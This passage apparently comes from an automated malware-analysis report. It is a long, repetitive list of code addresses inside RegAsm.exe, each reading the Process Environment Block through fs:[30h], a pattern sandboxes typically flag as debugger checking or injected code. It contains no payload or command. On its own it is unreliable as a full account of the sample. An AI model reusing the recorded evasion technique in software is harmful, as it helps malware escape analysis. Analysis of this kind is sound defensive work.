Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02EE6259 mov eax, dword ptr fs:[00000030h]	3_2_02EE6259
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02F1724D mov eax, dword ptr fs:[00000030h]	3_2_02F1724D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02EDA250 mov eax, dword ptr fs:[00000030h]	3_2_02EDA250
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02ED823B mov eax, dword ptr fs:[00000030h]	3_2_02ED823B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02FB5227 mov eax, dword ptr fs:[00000030h]	3_2_02FB5227
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02F17208 mov eax, dword ptr fs:[00000030h]	3_2_02F17208
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02F17208 mov eax, dword ptr fs:[00000030h]	3_2_02F17208
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02EF03E9 mov eax, dword ptr fs:[00000030h]	3_2_02EF03E9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02EF03E9 mov eax, dword ptr fs:[00000030h]	3_2_02EF03E9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02EF03E9 mov eax, dword ptr fs:[00000030h]	3_2_02EF03E9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02EF03E9 mov eax, dword ptr fs:[00000030h]	3_2_02EF03E9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02EF03E9 mov eax, dword ptr fs:[00000030h]	3_2_02EF03E9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02EF03E9 mov eax, dword ptr fs:[00000030h]	3_2_02EF03E9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02EF03E9 mov eax, dword ptr fs:[00000030h]	3_2_02EF03E9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02EF03E9 mov eax, dword ptr fs:[00000030h]	3_2_02EF03E9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02FB53FC mov eax, dword ptr fs:[00000030h]	3_2_02FB53FC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02F163FF mov eax, dword ptr fs:[00000030h]	3_2_02F163FF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02EFE3F0 mov eax, dword ptr fs:[00000030h]	3_2_02EFE3F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02EFE3F0 mov eax, dword ptr fs:[00000030h]	3_2_02EFE3F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02EFE3F0 mov eax, dword ptr fs:[00000030h]	3_2_02EFE3F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02F9F3E6 mov eax, dword ptr fs:[00000030h]	3_2_02F9F3E6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02F9B3D0 mov ecx, dword ptr fs:[00000030h]	3_2_02F9B3D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02EEA3C0 mov eax, dword ptr fs:[00000030h]	3_2_02EEA3C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02EEA3C0 mov eax, dword ptr fs:[00000030h]	3_2_02EEA3C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02EEA3C0 mov eax, dword ptr fs:[00000030h]	3_2_02EEA3C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02EEA3C0 mov eax, dword ptr fs:[00000030h]	3_2_02EEA3C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02EEA3C0 mov eax, dword ptr fs:[00000030h]	3_2_02EEA3C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02EEA3C0 mov eax, dword ptr fs:[00000030h]	3_2_02EEA3C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02EE83C0 mov eax, dword ptr fs:[00000030h]	3_2_02EE83C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02EE83C0 mov eax, dword ptr fs:[00000030h]	3_2_02EE83C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02EE83C0 mov eax, dword ptr fs:[00000030h]	3_2_02EE83C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02EE83C0 mov eax, dword ptr fs:[00000030h]	3_2_02EE83C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02F9C3CD mov eax, dword ptr fs:[00000030h]	3_2_02F9C3CD
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02F663C0 mov eax, dword ptr fs:[00000030h]	3_2_02F663C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02F133A0 mov eax, dword ptr fs:[00000030h]	3_2_02F133A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02F133A0 mov eax, dword ptr fs:[00000030h]	3_2_02F133A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02F033A5 mov eax, dword ptr fs:[00000030h]	3_2_02F033A5
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02EDE388 mov eax, dword ptr fs:[00000030h]	3_2_02EDE388
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02EDE388 mov eax, dword ptr fs:[00000030h]	3_2_02EDE388
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02EDE388 mov eax, dword ptr fs:[00000030h]	3_2_02EDE388
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02FB539D mov eax, dword ptr fs:[00000030h]	3_2_02FB539D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02F3739A mov eax, dword ptr fs:[00000030h]	3_2_02F3739A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02F3739A mov eax, dword ptr fs:[00000030h]	3_2_02F3739A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02ED8397 mov eax, dword ptr fs:[00000030h]	3_2_02ED8397
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02ED8397 mov eax, dword ptr fs:[00000030h]	3_2_02ED8397
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02ED8397 mov eax, dword ptr fs:[00000030h]	3_2_02ED8397
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02F0438F mov eax, dword ptr fs:[00000030h]	3_2_02F0438F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02F0438F mov eax, dword ptr fs:[00000030h]	3_2_02F0438F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02F8437C mov eax, dword ptr fs:[00000030h]	3_2_02F8437C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02F9F367 mov eax, dword ptr fs:[00000030h]	3_2_02F9F367
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02EE7370 mov eax, dword ptr fs:[00000030h]	3_2_02EE7370
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02EE7370 mov eax, dword ptr fs:[00000030h]	3_2_02EE7370
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02EE7370 mov eax, dword ptr fs:[00000030h]	3_2_02EE7370
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02EDD34C mov eax, dword ptr fs:[00000030h]	3_2_02EDD34C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02EDD34C mov eax, dword ptr fs:[00000030h]	3_2_02EDD34C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02FAA352 mov eax, dword ptr fs:[00000030h]	3_2_02FAA352
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02F6035C mov eax, dword ptr fs:[00000030h]	3_2_02F6035C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02F6035C mov eax, dword ptr fs:[00000030h]	3_2_02F6035C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02F6035C mov eax, dword ptr fs:[00000030h]	3_2_02F6035C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02F6035C mov ecx, dword ptr fs:[00000030h]	3_2_02F6035C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02F6035C mov eax, dword ptr fs:[00000030h]	3_2_02F6035C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02F6035C mov eax, dword ptr fs:[00000030h]	3_2_02F6035C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02FB5341 mov eax, dword ptr fs:[00000030h]	3_2_02FB5341
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02ED9353 mov eax, dword ptr fs:[00000030h]	3_2_02ED9353
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02ED9353 mov eax, dword ptr fs:[00000030h]	3_2_02ED9353
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02F62349 mov eax, dword ptr fs:[00000030h]	3_2_02F62349
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02F62349 mov eax, dword ptr fs:[00000030h]	3_2_02F62349
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02F62349 mov eax, dword ptr fs:[00000030h]	3_2_02F62349
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02F62349 mov eax, dword ptr fs:[00000030h]	3_2_02F62349
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02F62349 mov eax, dword ptr fs:[00000030h]	3_2_02F62349
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02F62349 mov eax, dword ptr fs:[00000030h]	3_2_02F62349
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02F62349 mov eax, dword ptr fs:[00000030h]	3_2_02F62349
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02F62349 mov eax, dword ptr fs:[00000030h]	3_2_02F62349
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02F62349 mov eax, dword ptr fs:[00000030h]	3_2_02F62349
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02F62349 mov eax, dword ptr fs:[00000030h]	3_2_02F62349
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02F62349 mov eax, dword ptr fs:[00000030h]	3_2_02F62349
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02F62349 mov eax, dword ptr fs:[00000030h]	3_2_02F62349
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02F62349 mov eax, dword ptr fs:[00000030h]	3_2_02F62349
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02F62349 mov eax, dword ptr fs:[00000030h]	3_2_02F62349
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02F62349 mov eax, dword ptr fs:[00000030h]	3_2_02F62349
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02FA132D mov eax, dword ptr fs:[00000030h]	3_2_02FA132D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02FA132D mov eax, dword ptr fs:[00000030h]	3_2_02FA132D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02F0F32A mov eax, dword ptr fs:[00000030h]	3_2_02F0F32A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02ED7330 mov eax, dword ptr fs:[00000030h]	3_2_02ED7330
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02F00310 mov ecx, dword ptr fs:[00000030h]	3_2_02F00310
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02F1A30B mov eax, dword ptr fs:[00000030h]	3_2_02F1A30B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02F1A30B mov eax, dword ptr fs:[00000030h]	3_2_02F1A30B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02F1A30B mov eax, dword ptr fs:[00000030h]	3_2_02F1A30B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02EDC310 mov ecx, dword ptr fs:[00000030h]	3_2_02EDC310
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02F6930B mov eax, dword ptr fs:[00000030h]	3_2_02F6930B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02F6930B mov eax, dword ptr fs:[00000030h]	3_2_02F6930B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02F6930B mov eax, dword ptr fs:[00000030h]	3_2_02F6930B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02F220F0 mov ecx, dword ptr fs:[00000030h]	3_2_02F220F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02EE80E9 mov eax, dword ptr fs:[00000030h]	3_2_02EE80E9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02EDA0E3 mov ecx, dword ptr fs:[00000030h]	3_2_02EDA0E3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02F050E4 mov eax, dword ptr fs:[00000030h]	3_2_02F050E4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02F050E4 mov ecx, dword ptr fs:[00000030h]	3_2_02F050E4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02F660E0 mov eax, dword ptr fs:[00000030h]	3_2_02F660E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02EDC0F0 mov eax, dword ptr fs:[00000030h]	3_2_02EDC0F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02FB50D9 mov eax, dword ptr fs:[00000030h]	3_2_02FB50D9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02F620DE mov eax, dword ptr fs:[00000030h]	3_2_02F620DE
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02F090DB mov eax, dword ptr fs:[00000030h]	3_2_02F090DB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02EF70C0 mov eax, dword ptr fs:[00000030h]	3_2_02EF70C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02EF70C0 mov ecx, dword ptr fs:[00000030h]	3_2_02EF70C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02EF70C0 mov ecx, dword ptr fs:[00000030h]	3_2_02EF70C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02EF70C0 mov eax, dword ptr fs:[00000030h]	3_2_02EF70C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02EF70C0 mov ecx, dword ptr fs:[00000030h]	3_2_02EF70C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02EF70C0 mov ecx, dword ptr fs:[00000030h]	3_2_02EF70C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02EF70C0 mov eax, dword ptr fs:[00000030h]	3_2_02EF70C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02EF70C0 mov eax, dword ptr fs:[00000030h]	3_2_02EF70C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02EF70C0 mov eax, dword ptr fs:[00000030h]	3_2_02EF70C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02EF70C0 mov eax, dword ptr fs:[00000030h]	3_2_02EF70C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02EF70C0 mov eax, dword ptr fs:[00000030h]	3_2_02EF70C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02EF70C0 mov eax, dword ptr fs:[00000030h]	3_2_02EF70C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02EF70C0 mov eax, dword ptr fs:[00000030h]	3_2_02EF70C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02EF70C0 mov eax, dword ptr fs:[00000030h]	3_2_02EF70C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02EF70C0 mov eax, dword ptr fs:[00000030h]	3_2_02EF70C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02EF70C0 mov eax, dword ptr fs:[00000030h]	3_2_02EF70C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02EF70C0 mov eax, dword ptr fs:[00000030h]	3_2_02EF70C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02EF70C0 mov eax, dword ptr fs:[00000030h]	3_2_02EF70C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02F5D0C0 mov eax, dword ptr fs:[00000030h]	3_2_02F5D0C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02F5D0C0 mov eax, dword ptr fs:[00000030h]	3_2_02F5D0C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02FA60B8 mov eax, dword ptr fs:[00000030h]	3_2_02FA60B8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02FA60B8 mov ecx, dword ptr fs:[00000030h]	3_2_02FA60B8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02F780A8 mov eax, dword ptr fs:[00000030h]	3_2_02F780A8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02EDD08D mov eax, dword ptr fs:[00000030h]	3_2_02EDD08D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02F0D090 mov eax, dword ptr fs:[00000030h]	3_2_02F0D090
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02F0D090 mov eax, dword ptr fs:[00000030h]	3_2_02F0D090
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02EE208A mov eax, dword ptr fs:[00000030h]	3_2_02EE208A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02F1909C mov eax, dword ptr fs:[00000030h]	3_2_02F1909C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02EE5096 mov eax, dword ptr fs:[00000030h]	3_2_02EE5096
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02F0C073 mov eax, dword ptr fs:[00000030h]	3_2_02F0C073
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02F5D070 mov ecx, dword ptr fs:[00000030h]	3_2_02F5D070
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02F6106E mov eax, dword ptr fs:[00000030h]	3_2_02F6106E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02FB5060 mov eax, dword ptr fs:[00000030h]	3_2_02FB5060
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02EF1070 mov eax, dword ptr fs:[00000030h]	3_2_02EF1070
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02EF1070 mov ecx, dword ptr fs:[00000030h]	3_2_02EF1070
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02EF1070 mov eax, dword ptr fs:[00000030h]	3_2_02EF1070
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02EF1070 mov eax, dword ptr fs:[00000030h]	3_2_02EF1070
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02EF1070 mov eax, dword ptr fs:[00000030h]	3_2_02EF1070
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02EF1070 mov eax, dword ptr fs:[00000030h]	3_2_02EF1070
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02EF1070 mov eax, dword ptr fs:[00000030h]	3_2_02EF1070
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02EF1070 mov eax, dword ptr fs:[00000030h]	3_2_02EF1070
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02EF1070 mov eax, dword ptr fs:[00000030h]	3_2_02EF1070
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02EF1070 mov eax, dword ptr fs:[00000030h]	3_2_02EF1070
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02EF1070 mov eax, dword ptr fs:[00000030h]	3_2_02EF1070
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02EF1070 mov eax, dword ptr fs:[00000030h]	3_2_02EF1070
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02EF1070 mov eax, dword ptr fs:[00000030h]	3_2_02EF1070
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02F0B052 mov eax, dword ptr fs:[00000030h]	3_2_02F0B052
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02F8705E mov ebx, dword ptr fs:[00000030h]	3_2_02F8705E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02F8705E mov eax, dword ptr fs:[00000030h]	3_2_02F8705E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02F66050 mov eax, dword ptr fs:[00000030h]	3_2_02F66050
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02EE2050 mov eax, dword ptr fs:[00000030h]	3_2_02EE2050
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02FA903E mov eax, dword ptr fs:[00000030h]	3_2_02FA903E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02FA903E mov eax, dword ptr fs:[00000030h]	3_2_02FA903E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02FA903E mov eax, dword ptr fs:[00000030h]	3_2_02FA903E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02FA903E mov eax, dword ptr fs:[00000030h]	3_2_02FA903E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02EDA020 mov eax, dword ptr fs:[00000030h]	3_2_02EDA020
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02EDC020 mov eax, dword ptr fs:[00000030h]	3_2_02EDC020
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02F64000 mov ecx, dword ptr fs:[00000030h]	3_2_02F64000
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02EFE016 mov eax, dword ptr fs:[00000030h]	3_2_02EFE016
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02EFE016 mov eax, dword ptr fs:[00000030h]	3_2_02EFE016
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02EFE016 mov eax, dword ptr fs:[00000030h]	3_2_02EFE016
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02EFE016 mov eax, dword ptr fs:[00000030h]	3_2_02EFE016
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02F871F9 mov esi, dword ptr fs:[00000030h]	3_2_02F871F9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02EE51ED mov eax, dword ptr fs:[00000030h]	3_2_02EE51ED
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02F101F8 mov eax, dword ptr fs:[00000030h]	3_2_02F101F8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02FB61E5 mov eax, dword ptr fs:[00000030h]	3_2_02FB61E5
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02F051EF mov eax, dword ptr fs:[00000030h]	3_2_02F051EF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02F051EF mov eax, dword ptr fs:[00000030h]	3_2_02F051EF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02F051EF mov eax, dword ptr fs:[00000030h]	3_2_02F051EF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02F051EF mov eax, dword ptr fs:[00000030h]	3_2_02F051EF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02F051EF mov eax, dword ptr fs:[00000030h]	3_2_02F051EF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02F051EF mov eax, dword ptr fs:[00000030h]	3_2_02F051EF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02F051EF mov eax, dword ptr fs:[00000030h]	3_2_02F051EF
